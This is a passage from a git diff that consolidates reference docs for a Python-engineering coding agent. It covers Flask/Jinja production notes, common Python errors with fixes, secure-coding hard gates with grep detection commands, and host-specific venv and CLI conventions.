mode-600 static 403, CSRF blueprint exemptions, error-fix map | +| except OSError, type: ignore, E712, Peewee, venv, pip mismatch, uv install, reddit_mod, stdin JSON, LLM prompt fields, tarfile, yaml.load, pickle, extra="allow", SSRF | [python-local-gates.md](python-general-engineer/references/python-local-gates.md) | Host incidents (reddit_mod silent failures), Peewee E712 suppression, host venv/uv rules, CLI pipeline conventions, CVE-pinned gotchas | ## Error Handling -See `agents/python-general-engineer/references/error-handling.md` for common errors and solutions (async deadlock, mypy errors, mutable defaults, import errors, mock AttributeError). Comprehensive catalog in `agents/python-general-engineer/references/python-errors.md`. +Standard Python errors (async deadlocks, mypy, mutable defaults, mocks) are base-model knowledge. Host-incident fixes and version-pinned gotchas live in [python-local-gates.md](python-general-engineer/references/python-local-gates.md). -## Preferred Patterns +## Preferred Patterns & Hard Gates -See `agents/python-general-engineer/references/preferred-patterns.md` for the full pattern list (system pip, ABCs, premature async, type ignore, string concatenation, bare except, input validation, prompt visibility, category definitions). Full catalog in `agents/python-general-engineer/references/python-preferred-patterns.md`. - -## Hard Gate Patterns - -Before writing Python code, check for forbidden patterns. If found: STOP, REPORT, FIX. See `agents/python-general-engineer/references/hard-gate-patterns.md` for the full pattern table, detection commands, and exceptions. Framework in `skills/shared-patterns/forbidden-patterns-template.md`. +Before writing Python code, check the hard-gate table in [python-local-gates.md](python-general-engineer/references/python-local-gates.md) (STOP/REPORT/FIX with detection commands). Framework in `skills/shared-patterns/forbidden-patterns-template.md`. ## Blocker Criteria & Death Loop Prevention -STOP and ask the user for explicit confirmation on fundamental design choices (async vs sync, ORM, framework, error handling strategy, new dependencies, breaking API changes). See `agents/python-general-engineer/references/blocker-criteria.md` for the full table, "Verify Before Assuming" list, retry limits, compilation-first rule, and recovery protocol. +STOP and ask the user for explicit confirmation on fundamental design choices: async vs sync, ORM, framework, error handling strategy, new dependencies, breaking API changes. Retry limit: after 3 failed attempts at the same fix, stop and reassess the diagnosis instead of iterating. ## References -For detailed Python patterns and examples: -- **Error Catalog**: [python-errors.md](python-general-engineer/references/python-errors.md) -- **Pattern Detection Guide**: [python-preferred-patterns.md](python-general-engineer/references/python-preferred-patterns.md) -- **Code Examples**: [python-patterns.md](python-general-engineer/references/python-patterns.md) -- **Modern Features**: [python-modern-features.md](python-general-engineer/references/python-modern-features.md) +- **Flask/Jinja production incidents**: [flask-jinja-webapp.md](python-general-engineer/references/flask-jinja-webapp.md) +- **Local gates, conventions, pinned gotchas**: [python-local-gates.md](python-general-engineer/references/python-local-gates.md) diff --git a/agents/python-general-engineer/references/anti-rationalization.md b/agents/python-general-engineer/references/anti-rationalization.md deleted file mode 100644 index 76ef5faf..00000000 --- a/agents/python-general-engineer/references/anti-rationalization.md +++ /dev/null @@ -1,15 +0,0 @@ -# Python-Specific Anti-Rationalization - -See `shared-patterns/anti-rationalization-core.md` for universal patterns. - -## Python-Specific Rationalizations - -| Rationalization Attempt | Why It's Wrong | Required Action | -|------------------------|----------------|-----------------| -| "Tests pass, code is correct" | Tests can be incomplete, type errors not caught | Run mypy, check coverage, review edge cases | -| "Python's duck typing handles it" | Duck typing doesn't catch wrong types at runtime | Add type hints, run mypy in strict mode | -| "It works in my environment" | Dependencies may differ in production | Test with locked requirements, use venv | -| "The linter didn't complain" | Linters miss semantic and security issues | Manual review + linter + security scan | -| "I'll add type hints later" | Type hints never get added later | Add type hints with implementation | -| "Exception handling can wait" | Errors become harder to debug in production | Handle exceptions at implementation time | -| "This is just a small script" | Small scripts become production code | Apply same quality standards regardless | diff --git a/agents/python-general-engineer/references/blocker-criteria.md b/agents/python-general-engineer/references/blocker-criteria.md deleted file mode 100644 index e140fa8c..00000000 --- a/agents/python-general-engineer/references/blocker-criteria.md +++ /dev/null @@ -1,40 +0,0 @@ -# Python General Engineer Blocker Criteria - -## Blocker Criteria - -STOP and ask the user (get explicit confirmation) before proceeding when: - -| Situation | Why Stop | Ask This | -|-----------|----------|----------| -| Async vs sync architecture | Fundamental design choice | "Need concurrency benefits or simpler sync code?" | -| ORM choice or schema change | Long-term data architecture | "SQLAlchemy vs raw SQL? What's the query complexity?" | -| Framework selection | Maintenance and ecosystem lock-in | "FastAPI vs Flask vs Django? What are the requirements?" | -| Error handling strategy | Consistency across codebase | "Custom exceptions or stdlib? What's the existing pattern?" | -| New dependency | Security and maintenance burden | "Add package X or implement? What's the maintenance posture?" | -| Breaking API change | Downstream consumers affected | "This changes the API. How should we handle migration?" | - -### Verify Before Assuming -- Database migrations (schema changes) -- Authentication/authorization changes -- Async vs synchronous design -- Framework or ORM selection -- Public API changes -- Dependency version bumps with breaking changes - -## Death Loop Prevention - -### Retry Limits -- Maximum 3 attempts for any operation (tests, linting, type checking) -- Clear failure escalation path: fix root cause, address a different aspect each attempt - -### Compilation-First Rule -1. Verify tests pass FIRST before fixing linting issues -2. Fix test failures before addressing type errors -3. Validate types before formatting - -### Recovery Protocol -**Detection**: If making repeated similar changes that fail -**Intervention**: -1. Run `pytest -v` to verify tests actually pass -2. Read the ACTUAL error message carefully -3. Check if the fix addresses root cause vs symptom diff --git a/agents/python-general-engineer/references/capabilities.md b/agents/python-general-engineer/references/capabilities.md deleted file mode 100644 index bf4cd8df..00000000 --- a/agents/python-general-engineer/references/capabilities.md +++ /dev/null @@ -1,51 +0,0 @@ -# Python General Engineer Capabilities & Output - -## Capabilities & Limitations - -### What This Agent CAN Do -- Design type-safe Python applications with modern typing features (3.11+, 3.12+) -- Implement async patterns using FastAPI, asyncio, TaskGroups, and structured concurrency -- Configure modern tooling (uv, ruff, mypy) for Python projects with best practices -- Create Pydantic v2 models with validation, serialization, and computed fields -- Write comprehensive pytest test suites with fixtures, parametrize, mocking, and async tests -- Implement design patterns appropriate for Python (SOLID, Protocols, context managers) -- Debug Python applications with systematic error analysis -- Optimize performance for CPU and I/O bound workloads -- Review code for security, type safety, performance, and maintainability - -### What This Agent CANNOT Do -- **Cannot execute Python code**: Can provide patterns and commands but you must run them. -- **Cannot access external APIs**: No network connectivity to test endpoints or fetch data. -- **Cannot manage infrastructure**: Focus is code, not deployment, containers, or cloud resources. -- **Cannot guarantee Python 2 compatibility**: Focus is modern Python (3.11+). -- **Cannot profile your specific code**: Can provide profiling patterns but not actual profiling results. -- **Cannot access proprietary libraries**: Only covers open-source Python ecosystem. - -When asked to perform unavailable actions, explain the limitation and suggest appropriate alternatives or workflows. - -## Output Format - -This agent uses the **Implementation Schema**: - -```markdown -## Summary -[1-2 sentence overview of what was implemented] - -## Implementation -[Description of approach and key decisions] - -## Files Changed -| File | Change | Lines | -|------|--------|-------| -| `path/file.py:42` | [description] | +N/-M | - -## Testing -- [x] Tests pass: `pytest -v` output -- [x] Type check: `mypy .` output -- [x] Linting: `ruff check .` output - -## Next Steps -- [ ] [Follow-up if any] -``` - -See [shared-patterns/output-schemas.md](../../skills/shared-patterns/output-schemas.md) for full schema. diff --git a/agents/python-general-engineer/references/error-handling.md b/agents/python-general-engineer/references/error-handling.md deleted file mode 100644 index 4347f17a..00000000 --- a/agents/python-general-engineer/references/error-handling.md +++ /dev/null @@ -1,23 +0,0 @@ -# Python Error Handling - -Common Python errors and solutions. See `python-errors.md` for comprehensive catalog. - -## Async Deadlock / Hanging -**Cause**: Awaiting on non-awaitable, missing await keyword, or deadlock in event loop -**Solution**: Use `asyncio.TaskGroup` for structured concurrency, verify all async functions use `await`, check for circular dependencies in async code. Debug with `asyncio.create_task()` and task names. - -## Type Errors (mypy) -**Cause**: Incorrect type hints, missing types, or actual type bugs in logic -**Solution**: Fix the underlying issue instead of adding `# type: ignore` - use TypedDict for dicts, proper Union types, or fix the actual bug mypy found. - -## Mutable Default Arguments (B006) -**Cause**: Using mutable defaults like `def func(items=[]):` creates shared state -**Solution**: Use `def func(items=None):` and create instance in function body: `items = items or []` or `items = items if items is not None else []` - -## Import Errors -**Cause**: Circular imports, missing dependencies, or incorrect import paths -**Solution**: Reorganize imports, use TYPE_CHECKING for type-only imports, check virtual environment activation, verify package installation. - -## AttributeError in Tests -**Cause**: Mock objects missing attributes or methods -**Solution**: Configure mocks properly: `mock_obj.return_value`, `mock_obj.side_effect`, or use `spec=` parameter to validate attributes. diff --git a/agents/python-general-engineer/references/flask-jinja-webapp.md b/agents/python-general-engineer/references/flask-jinja-webapp.md index 4d4442ae..bda424ee 100644 --- a/agents/python-general-engineer/references/flask-jinja-webapp.md +++ b/agents/python-general-engineer/references/flask-jinja-webapp.md @@ -1,11 +1,9 @@ # Flask + Jinja2 Web Application Reference -> **Scope**: Flask app structure (blueprints, app factory), Jinja2 template behavior in production, CSRF configuration, gunicorn/systemd/nginx serving stack, session cookies, static-file serving. Does not cover generic Python security (see python-security.md) or Peewee/SQLite data access (use sqlite-peewee-engineer). +> **Scope**: Flask app structure (blueprints, app factory), Jinja2 template behavior in production, CSRF configuration, gunicorn/systemd/nginx serving stack, session cookies, static-file serving. Generic Python security lives elsewhere; Peewee/SQLite data access belongs to sqlite-peewee-engineer. > **Version range**: Flask 2.x/3.x, Jinja2 3.x, gunicorn 20+ > **Source incidents**: /home/feedgen/mmr-ratings production history (2025-2026) ---- - ## Production Serving Model A Flask app in production is three layers; a bug can live in any of them. @@ -16,7 +14,7 @@ A Flask app in production is three layers; a bug can live in any of them. | nginx | Public 80/443, static files via `alias`/`root`, reverse proxy to loopback | `nginx -t && systemctl reload nginx` for config; nothing for file content | | Flask dev server | Auto-reload, debugger | Development only, loopback only | -**The classic miss**: "changes not taking effect" after editing templates or Python. Gunicorn workers cache imported modules and compiled Jinja templates for the worker's lifetime. Fix: restart the service. Dev mode auto-reloads; production never does. +**The classic miss**: "changes not taking effect" after editing templates or Python. Gunicorn workers cache imported modules and compiled Jinja templates for the worker's lifetime. Fix: restart the service. Dev mode auto-reloads; production reloads only on service restart. Bind app servers to `127.0.0.1` and let nginx own the public ports. Pattern: `gunicorn -w 4 -b 127.0.0.1:8001 "server.app:app"` behind an nginx `proxy_pass`. @@ -30,8 +28,8 @@ def test_critical_routes_registered(self): ``` - Blueprint route changes require service restart (see above). -- A blueprint imported but never passed to `app.register_blueprint()` fails silently: routes 404, no error at startup. The route-registration smoke test is the deterministic guard. -- Keep `url_prefix` on the registration call, not duplicated in every route decorator. +- A blueprint imported but omitted from `app.register_blueprint()` fails silently: routes 404, no error at startup. The route-registration smoke test is the deterministic guard. +- Keep `url_prefix` on the registration call, in one place, rather than duplicated in every route decorator. ## CSRF: Global Protection, Explicit Exemptions @@ -42,7 +40,7 @@ csrf = CSRFProtect(app) csrf.exempt(mmr_blueprint) # JSON API, token-less fetch() clients ``` -- Exempt at blueprint granularity, never disable CSRF globally. +- Exempt at blueprint granularity; keep global protection enabled. - Pin each exemption with a test (`test_mmr_blueprint_csrf_exempt`) so a refactor that drops the exemption fails CI instead of breaking clients with silent 400s. ## Jinja2 Production Behavior @@ -50,7 +48,7 @@ csrf.exempt(mmr_blueprint) # JSON API, token-less fetch() clients | Behavior | Consequence | Handling | |---|---|---| | Templates compiled once per worker | Edited .html serves stale until restart | Restart service after template deploys | -| Autoescaping on for .html | Raw HTML needs explicit `\| safe` | Apply `\| safe` only to server-generated markup, never user input | +| Autoescaping on for .html | Raw HTML needs explicit `\| safe` | Apply `\| safe` to server-generated markup only; user input stays escaped | | `url_for('static', filename=...)` | Cache-busting needs a version query param | Add `?v=` or hashed filenames for player-facing assets | | Missing variable renders as empty (default Undefined) | Typos ship as blank UI, no error | `app.jinja_env.undefined = StrictUndefined` in dev/staging | @@ -60,7 +58,7 @@ When nginx serves statics directly (`alias /srv/app/current/static/;`), file per - New files written mode 600 return **403** from nginx while the Flask dev server happily serves them. Symptom: unstyled page or dead JS in production only. - Fix and prevention: `chmod 644` on every new static file; verify with `curl -sI https:///static/css/.css` expecting 200. -- Deployed-tree statics are a **copy** (or release dir), not the working tree. Editing the repo's `static/` changes nothing until the deploy step syncs it. +- Deployed-tree statics are a **copy** (or release dir), separate from the working tree. Editing the repo's `static/` changes nothing until the deploy step syncs it. ## Sessions and Cookies @@ -72,9 +70,9 @@ app.config.update( ) ``` -- `SESSION_COOKIE_SECURE=True` + an HTTP-only staging host = login flows untestable there. Either issue the staging TLS cert or document the limitation; weakening the flag is not an option. -- `FLASK_SECRET_KEY` comes from the environment (systemd `EnvironmentFile=`), never from code. Throwaway local servers use a random key: `FLASK_SECRET_KEY=$(openssl rand -hex 32)`. -- Staging gets its own secret/env file, never production's. +- `SESSION_COOKIE_SECURE=True` + an HTTP-only staging host = login flows untestable there. Either issue the staging TLS cert or document the limitation; weakening the flag stays off the table. +- `FLASK_SECRET_KEY` comes from the environment (systemd `EnvironmentFile=`); code holds zero key material. Throwaway local servers use a random key: `FLASK_SECRET_KEY=$(openssl rand -hex 32)`. +- Staging gets its own secret/env file, separate from production's. ## Error-Fix Mappings @@ -82,10 +80,10 @@ app.config.update( |---|---|---| | Template/code edits invisible in prod | Worker module/template cache | `systemctl restart ` | | Static file 403 only via nginx | File mode 600 under nginx `alias` | `chmod 644`, verify with curl | -| POST returns 400 from JSON client | CSRF token required, blueprint not exempt | `csrf.exempt(blueprint)` + pin test | -| Routes 404 after refactor | Blueprint never registered | Route-registration smoke test; register in factory | +| POST returns 400 from JSON client | CSRF token required, blueprint lacks exemption | `csrf.exempt(blueprint)` + pin test | +| Routes 404 after refactor | Blueprint registration missing | Route-registration smoke test; register in factory | | Login works locally, fails on staging | `SESSION_COOKIE_SECURE` over HTTP | Issue TLS cert for the staging host | -| Service won't start after deploy | Import/syntax error in worker boot | `journalctl -u -n 50`, read the traceback | +| Service refuses to start after deploy | Import/syntax error in worker boot | `journalctl -u -n 50`, read the traceback | | Blank values rendered in page | Jinja default Undefined swallows typos | StrictUndefined in dev/staging | ## Verification Commands diff --git a/agents/python-general-engineer/references/hard-gate-patterns.md b/agents/python-general-engineer/references/hard-gate-patterns.md deleted file mode 100644 index e3ad358e..00000000 --- a/agents/python-general-engineer/references/hard-gate-patterns.md +++ /dev/null @@ -1,35 +0,0 @@ -# Python Hard Gate Patterns - -Before writing Python code, check for these patterns. If found: -1. STOP - Pause implementation -2. REPORT - Flag to user -3. FIX - Remove before continuing - -See `shared-patterns/forbidden-patterns-template.md` for framework. - -| Pattern | Why Blocked | Correct Alternative | -|---------|---------------|---------------------| -| `except:` (bare except) | Catches SystemExit, KeyboardInterrupt, prevents debugging | `except Exception:` at minimum | -| `except OSError: pass` (broad swallow) | Catches permission denied, IO errors, NFS stale handles — not just missing files. Caused 2 critical silent failures in reddit_mod.py | `except FileNotFoundError: pass` for expected-missing, separate `except OSError as e:` with stderr warning | -| `# type: ignore[return-value]` | Masking a wrong return type annotation instead of fixing it | Fix the annotation to match actual return type | -| `int(untrusted_json_value)` without guard | Crashes entire pipeline on one malformed entry from user-editable JSON | Wrap in `try: int(x) except (ValueError, TypeError): default` | -| `eval(user_input)` | Code injection vulnerability, arbitrary execution | `ast.literal_eval` or validators | -| `pickle.loads(untrusted)` | Arbitrary code execution on deserialization | Use JSON or validated formats | -| `# type: ignore` without comment | Hides real type errors, defeats type safety | Fix the type or document reason | -| `assert` for validation | Disabled in production with `-O` flag | Raise ValueError or custom exceptions | -| `from module import *` | Namespace pollution, unclear dependencies | Import specific names | -| `print()` in production code | No log levels, no structured output | Use logging module | -| `os.system()` or `shell=True` | Shell injection risk | subprocess with list args, shell=False | - -## Detection -```bash -grep -rn "^except:" --include="*.py" -grep -rn "eval(" --include="*.py" | grep -v "literal_eval" -grep -rn "# type: ignore$" --include="*.py" -grep -rn "from .* import \*" --include="*.py" -``` - -## Exceptions -- `# type: ignore[specific-error]` with reason in comment -- `eval()` only with validated, sandboxed input from trusted source -- `print()` in CLI scripts and debugging (not production services) diff --git a/agents/python-general-engineer/references/preferred-patterns.md b/agents/python-general-engineer/references/preferred-patterns.md deleted file mode 100644 index 1dfd3151..00000000 --- a/agents/python-general-engineer/references/preferred-patterns.md +++ /dev/null @@ -1,48 +0,0 @@ -# Python Preferred Patterns - -Common Python patterns to follow. See `python-preferred-patterns.md` for full catalog. - -## Use Virtual Environments for All Installs -**Signal**: Running `pip3 install` without a virtual environment, hitting version mismatches between Python and pip -**Why this matters**: System pip may resolve to a different Python version (e.g., Python 3.14 but pip from 3.9), causing install failures or packages installed to wrong site-packages -**Preferred action**: Always use pyenv + virtual environments. Create venv first: `python -m venv .venv && source .venv/bin/activate`. Never install packages with system pip. - -## Start Concrete, Abstract Later -**Signal**: Creating abstract base classes before you have multiple implementations -**Why this matters**: Adds complexity without proven benefit, makes code harder to navigate, violates YAGNI -**Preferred action**: Start with concrete class, add abstraction when you have 2+ implementations, use Protocols for structural typing - -## Use Async Only for I/O Concurrency -**Signal**: Converting CPU-bound operations to async without I/O benefit -**Why this matters**: Adds async overhead for no performance gain, async is for I/O concurrency not CPU parallelism -**Preferred action**: Keep synchronous for CPU operations, only use async for actual I/O (network, disk, database) - -## Fix Types Instead of Ignoring Them -**Signal**: Silencing type checker with `# type: ignore` instead of fixing types -**Why this matters**: Loses type safety, hides bugs, makes refactoring dangerous -**Preferred action**: Use proper type hints (TypedDict for dicts, correct Union types), fix the root cause - -## Use str.join for String Assembly -**Signal**: `result = ""; for item in items: result += str(item)` -**Why this matters**: Strings are immutable, creates new string each iteration, O(n²) time complexity -**Preferred action**: Use `"".join(str(item) for item in items)` - O(n) time - -## Catch Specific Exception Types -**Signal**: `except:` without specifying exception type -**Why this matters**: Catches SystemExit and KeyboardInterrupt, prevents debugging -**Preferred action**: `except Exception:` at minimum, or specific exception types - -## Validate All Input on New CLI Handlers -**Signal**: New subcommand handler accepts subreddit/path from stdin JSON or env var without validating format -**Why this matters**: Every OTHER handler validates input (e.g., `_resolve_subreddit`), new handler bypasses the pattern. Creates path traversal via crafted stdin JSON. -**Preferred action**: Use the same validation function as existing handlers. If input comes from a new source (stdin JSON), validate BEFORE any file path construction. - -## Surface All Computed Data in LLM Prompts -**Signal**: Calculating `repeat_offender_count` but not including it in the prompt string -**Why this matters**: The LLM can only use data that appears in the prompt. Computed-but-invisible data is dead computation. -**Preferred action**: Every signal computed for classification MUST appear in the rendered prompt. Test: "is this value in the prompt string?" - -## Define Every New Category -**Signal**: Adding `BAN_RECOMMENDED` to a classification list without explaining when to use it -**Why this matters**: LLM has no guidance to distinguish it from existing categories, making it dead code -**Preferred action**: Each new category needs a definition, usage criteria, and auto-mode behavior in the prompt diff --git a/agents/python-general-engineer/references/python-errors.md b/agents/python-general-engineer/references/python-errors.md deleted file mode 100644 index a76f6a5a..00000000 --- a/agents/python-general-engineer/references/python-errors.md +++ /dev/null @@ -1,486 +0,0 @@ -# Python General Engineer - Error Catalog - -Comprehensive Python error patterns and solutions. - -## Category: Async/Await Errors - -### Error: Async Deadlock or Hanging - -**Symptoms**: -- Program hangs when running async code -- `asyncio.run()` never completes -- Tasks seem to start but never finish - -**Cause**: -- Awaiting on non-awaitable object -- Missing `await` keyword before async function call -- Circular dependencies in async code -- Event loop blocking operations - -**Solution**: -```python -# BAD - Missing await -async def fetch_data(): - result = async_api_call() # Missing await! - return result - -# GOOD - Proper await -async def fetch_data(): - result = await async_api_call() - return result - -# BAD - Awaiting non-awaitable -async def process(): - data = await regular_function() # Not async! - -# GOOD - Don't await sync functions -async def process(): - data = regular_function() # Sync call, no await - -# Use TaskGroup for structured concurrency -async def fetch_multiple(): - async with asyncio.TaskGroup() as tg: - task1 = tg.create_task(fetch_users(), name="users") - task2 = tg.create_task(fetch_orders(), name="orders") - - return task1.result(), task2.result() -``` - -**Prevention**: -- Use type hints: `async def func() -> Awaitable[T]:` -- Run mypy to catch await/async mismatches -- Use `asyncio.create_task()` with task names for debugging -- Use TaskGroup instead of asyncio.gather for better error handling - ---- - -### Error: Event Loop Already Running - -**Symptoms**: -- `RuntimeError: This event loop is already running` -- Occurs in Jupyter notebooks or when nesting async calls - -**Cause**: -- Calling `asyncio.run()` inside an already-running event loop -- Jupyter/IPython already has an event loop running - -**Solution**: -```python -# In Jupyter or nested async context -import nest_asyncio -nest_asyncio.apply() - -# Or use await directly instead of asyncio.run() -# BAD - in Jupyter -asyncio.run(my_async_function()) - -# GOOD - in Jupyter -await my_async_function() - -# For scripts, use asyncio.run() at top level only -if __name__ == "__main__": - asyncio.run(main()) -``` - -**Prevention**: -- Only use `asyncio.run()` at the top level of scripts -- In notebooks, use `await` directly -- Use a single top-level `asyncio.run()` and await coroutines within it - ---- - -## Category: Type Errors - -### Error: Incompatible Type (mypy) - -**Symptoms**: -- `error: Incompatible types in assignment` -- `error: Argument 1 has incompatible type` - -**Cause**: -- Actual type mismatch indicating a bug -- Incorrect type hints -- Missing type narrowing - -**Solution**: -```python -# BAD - Don't ignore, it's catching a real bug -def get_user(user_id: int) -> User: - user = db.query(user_id) # Returns User | None - return user # type: ignore # Bug! Can return None - -# GOOD - Fix the actual issue -def get_user(user_id: int) -> User: - user = db.query(user_id) - if user is None: - raise NotFoundError(f"User {user_id} not found") - return user - -# Or update return type if None is valid -def get_user(user_id: int) -> User | None: - return db.query(user_id) - -# Type narrowing for dicts -data: dict[str, Any] = get_json() - -# BAD - mypy doesn't know types -name = data["name"] # type is Any - -# GOOD - Use TypedDict -class UserData(TypedDict): - name: str - email: str - age: int - -data: UserData = get_json() -name = data["name"] # type is str -``` - -**Prevention**: -- Run `mypy --strict .` to catch issues early -- Use TypedDict for structured dictionary data -- Use type narrowing (isinstance checks) -- Fix the bug, don't silence the error - ---- - -### Error: Missing Type Stubs - -**Symptoms**: -- `error: Library stubs not installed for "package-name"` -- `note: Hint: "python3 -m pip install types-package-name"` - -**Cause**: -- Third-party library doesn't have type hints -- Type stubs package not installed - -**Solution**: -```bash -# Install type stubs -pip install types-requests -pip install types-redis -pip install types-PyYAML - -# Or in pyproject.toml -[project.optional-dependencies] -dev = [ - "types-requests", - "types-redis", - "types-PyYAML", -] -``` - -**Prevention**: -- Install type stubs for all untyped dependencies -- Check typeshed for available stubs -- Contribute stubs for libraries you use - ---- - -## Category: Linting Errors - -### Error: B006 - Mutable Default Argument - -**Symptoms**: -- `B006 Do not use mutable data structures for argument defaults` -- Unexpected shared state between function calls - -**Cause**: -- Using list, dict, or set as default argument -- Default is created once at function definition time - -**Solution**: -```python -# BAD - Mutable default -def add_item(item: str, items: list[str] = []) -> list[str]: - items.append(item) - return items - -# All calls share same list! -add_item("a") # ["a"] -add_item("b") # ["a", "b"] - unexpected! - -# GOOD - Use None -def add_item(item: str, items: list[str] | None = None) -> list[str]: - if items is None: - items = [] - items.append(item) - return items - -# Or don't mutate, return new list -def add_item(item: str, items: list[str] | None = None) -> list[str]: - items = items or [] - return [*items, item] -``` - -**Prevention**: -- Always use `None` as default for mutable types -- Ruff will catch this automatically - ---- - -### Error: UP035 - Deprecated Typing Import - -**Symptoms**: -- `UP035 `typing.List` is deprecated, use `list` instead` -- Using `typing.Dict`, `typing.Tuple`, etc. - -**Cause**: -- Using old-style typing imports (Python 3.8 style) -- Not using built-in generic types (Python 3.9+) - -**Solution**: -```python -# BAD - Deprecated typing imports -from typing import List, Dict, Tuple, Set - -def process(items: List[str]) -> Dict[str, int]: - return {item: len(item) for item in items} - -# GOOD - Built-in generics (Python 3.9+) -def process(items: list[str]) -> dict[str, int]: - return {item: len(item) for item in items} - -# Correct imports for modern Python -from typing import ( - Any, TypeVar, Protocol, - Callable, Literal, TypedDict, - Self, # 3.11+ -) -``` - -**Prevention**: -- Use built-in `list`, `dict`, `tuple`, `set` for type hints -- Run `ruff check --select UP` to find deprecated imports -- Use `ruff check --fix` to auto-fix - ---- - -## Category: Import Errors - -### Error: Circular Imports - -**Symptoms**: -- `ImportError: cannot import name 'X' from partially initialized module` -- Import works in some contexts but not others - -**Cause**: -- Module A imports module B, and module B imports module A -- Usually happens with type hints - -**Solution**: -```python -# file: models.py -from typing import TYPE_CHECKING - -if TYPE_CHECKING: - from services import UserService # Only imported for type checking - -class User: - def process(self, service: "UserService") -> None: # String annotation - service.handle(self) - -# file: services.py -from models import User # No circular import at runtime - -class UserService: - def handle(self, user: User) -> None: - pass - -# Alternative: Use forward references -from __future__ import annotations # Top of file - -class User: - def process(self, service: UserService) -> None: # No quotes needed - service.handle(self) -``` - -**Prevention**: -- Use `TYPE_CHECKING` for type-only imports -- Use `from __future__ import annotations` (PEP 563) -- Reorganize code to reduce circular dependencies -- Move shared types to separate module - ---- - -## Category: Test Errors - -### Error: AttributeError on Mock - -**Symptoms**: -- `AttributeError: Mock object has no attribute 'foo'` -- Mock methods not callable - -**Cause**: -- Mock not configured properly -- Missing return_value or side_effect -- Accessing attribute not set on mock - -**Solution**: -```python -from unittest.mock import Mock, MagicMock - -# BAD - Mock not configured -mock_client = Mock() -result = mock_client.get("/users") # Returns , not what you want - -# GOOD - Configure return_value -mock_client = Mock() -mock_client.get.return_value = {"users": []} -result = mock_client.get("/users") # Returns {"users": []} - -# Use spec to validate attributes -mock_client = Mock(spec=HTTPClient) -mock_client.get.return_value = {"users": []} -mock_client.invalid_method() # AttributeError! Method doesn't exist on spec - -# For exceptions -mock_client.get.side_effect = ConnectionError("Network error") - -# For multiple calls with different results -mock_client.get.side_effect = [ - {"users": ["alice"]}, - {"users": ["bob"]}, - ConnectionError("Failed"), -] -``` - -**Prevention**: -- Always configure `return_value` or `side_effect` -- Use `spec=` parameter to validate mock usage -- Use `MagicMock` for magic methods (`__enter__`, `__exit__`) - ---- - -## Category: Async Test Errors - -### Error: pytest Async Test Not Running - -**Symptoms**: -- `async def test_foo()` passes without running -- Async code not executed in tests - -**Cause**: -- Missing `pytest-asyncio` plugin -- Missing `@pytest.mark.asyncio` decorator - -**Solution**: -```bash -# Install pytest-asyncio -pip install pytest-asyncio -``` - -```python -# Add decorator to async tests -import pytest - -@pytest.mark.asyncio -async def test_fetch_users(): - users = await fetch_users() - assert len(users) > 0 - -# Or configure in pyproject.toml -[tool.pytest.ini_options] -asyncio_mode = "auto" # Automatically detect async tests - -# Then no decorator needed -async def test_fetch_users(): # Automatically recognized - users = await fetch_users() - assert len(users) > 0 -``` - -**Prevention**: -- Install `pytest-asyncio` in dev dependencies -- Configure `asyncio_mode = "auto"` in pyproject.toml -- Use async fixtures for setup/teardown - ---- - -## Category: Dependency Errors - -### Error: ModuleNotFoundError - -**Symptoms**: -- `ModuleNotFoundError: No module named 'package'` -- Import works locally but fails in CI - -**Cause**: -- Package not installed in virtual environment -- Wrong virtual environment activated -- Package not in requirements.txt - -**Solution**: -```bash -# Check current environment -python -c "import sys; print(sys.prefix)" - -# Activate correct venv -source venv/bin/activate # or `venv\Scripts\activate` on Windows - -# Install missing package -pip install package-name - -# Freeze dependencies -pip freeze > requirements.txt - -# Or use uv (modern alternative) -uv add package-name # Adds to pyproject.toml and installs -uv sync # Sync environment with lockfile -``` - -**Prevention**: -- Always use virtual environments -- Keep requirements.txt or pyproject.toml up to date -- Use `uv` for dependency management (faster, better locking) -- Document setup steps in README - ---- - -## Category: Pydantic Validation Errors - -### Error: ValidationError - -**Symptoms**: -- `pydantic.ValidationError: 1 validation error for User` -- Data doesn't match model schema - -**Cause**: -- Input data type mismatch -- Missing required fields -- Failed custom validators - -**Solution**: -```python -from pydantic import BaseModel, Field, field_validator - -class User(BaseModel): - name: str = Field(min_length=1) - email: str - age: int = Field(ge=0, le=150) - - @field_validator("email") - @classmethod - def validate_email(cls, v: str) -> str: - if "@" not in v: - raise ValueError("Invalid email format") - return v.lower() - -# Handle validation errors -from pydantic import ValidationError - -try: - user = User(name="", email="invalid", age=200) -except ValidationError as e: - print(e.errors()) - # [ - # {'loc': ('name',), 'msg': 'ensure this value has at least 1 characters', ...}, - # {'loc': ('email',), 'msg': 'Invalid email format', ...}, - # {'loc': ('age',), 'msg': 'ensure this value is less than or equal to 150', ...}, - # ] -``` - -**Prevention**: -- Use Field constraints for validation -- Add custom validators for complex rules -- Handle ValidationError at API boundaries -- Return clear error messages to users diff --git a/agents/python-general-engineer/references/python-local-gates.md b/agents/python-general-engineer/references/python-local-gates.md new file mode 100644 index 00000000..2fcc1d8f --- /dev/null +++ b/agents/python-general-engineer/references/python-local-gates.md @@ -0,0 +1,58 @@ +# Python Local Conventions and Gates + +Host-specific incidents, operator conventions, and version-pinned gotchas for this machine's Python work. Generic Python idioms stay out; the base model covers those. + +## Hard Gates (STOP / REPORT / FIX) + +Before writing Python code, check for these patterns. If found: STOP implementation, REPORT to the user, FIX before continuing. Framework: `skills/shared-patterns/forbidden-patterns-template.md`. + +| Pattern | Why blocked | Fix | +|---------|-------------|-----| +| `except OSError: pass` (broad swallow) | Catches permission denied, IO errors, NFS stale handles — beyond just missing files. Caused 2 critical silent failures in reddit_mod.py | `except FileNotFoundError: pass` for expected-missing; separate `except OSError as e:` with stderr warning | +| `int(untrusted_json_value)` without guard | Crashes entire pipeline on one malformed entry from user-editable JSON | Wrap in `try: int(x) except (ValueError, TypeError): default` | +| `# type: ignore` without error code and reason | Hides real type errors, defeats type safety | `# type: ignore[specific-error] # Reason: ...` — or fix the type | + +```bash +# Detection +grep -rn "except OSError: pass" --include="*.py" +grep -rn "# type: ignore$" --include="*.py" +``` + +## Ruff Exception: Peewee E712 + +Use truthiness (`if value:`) and identity (`is None`) in ordinary code. The one sanctioned exception: + +```python +# Peewee ORM field comparisons require == True for SQL generation +query = User.select().where(User.active == True) +# E712 should be suppressed for this specific ORM pattern +``` + +## Environment on This Host + +- **venv for every install.** System pip may resolve to a different Python version (e.g., Python 3.14 but pip from 3.9), causing install failures or packages landing in the wrong site-packages. Create the venv first, install inside it: + +```bash +python -m venv .venv && source .venv/bin/activate +``` + +- **Installing uv**: use a package-manager path — `pipx install uv` or `python3 -m pip install --user uv`. Piped remote installers conflict with this host's installer policy. + +## CLI Pipeline Conventions (reddit_mod) + +- **Validate 